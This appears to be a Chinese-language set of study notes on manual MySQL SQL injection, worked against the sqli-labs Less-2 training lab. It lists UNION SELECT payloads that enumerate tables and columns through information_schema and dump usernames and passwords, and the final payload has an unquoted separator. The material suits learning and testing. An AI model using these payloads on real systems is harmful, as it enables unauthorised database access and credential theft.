SQL注入之MYSQL手工注入

本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。

sqli-labs数字型注入

image.png

在url中输入id值,执行查询sql语句。即可得到对应数据

less-2源码分析:

image.png

浏览器 进行数据提交 服务器 :

get 提交  :  url   数据长度
     速度快
     用于:

post 提交 : 服务器    安全性   数据量 

注入流程

image.png

注入语句

尝试手工注入:
        SQL注入:
        1.判断有无注入点   and 1 = 1; true
        随便输入内容  ==  报错  注入
                      ==  没有注入
        2.猜解列名数量 order by %20 空格
        字段 4个

        3.报错,判断回显点 union
        4.信息收集
          数据库版本 version()
          高版本:5.0
            系统库: information 。。。
          数据库名称:database()
          低版本:5.0
        5.使用对应SQL进行注入
            数据库库名:security
        . 下一级
        information_schema.tables 查找表名
        table_name
        查询security库下面 所有的表名

        database()


        = 前后 连到一起
        union select 1,group_concat(table_name),3 from information_schema.tables
        where table_schema=database()

        表: users
        如何查询表里面有那些字段?
        user 字符 转行 16进制
        union select 1,group_concat(column_name),3 from information_schema.columns
        where table_name='users'

        username  password  字段数据
        select username,password from users
        union select 1,2,(select group_concat(username,:,password)from users)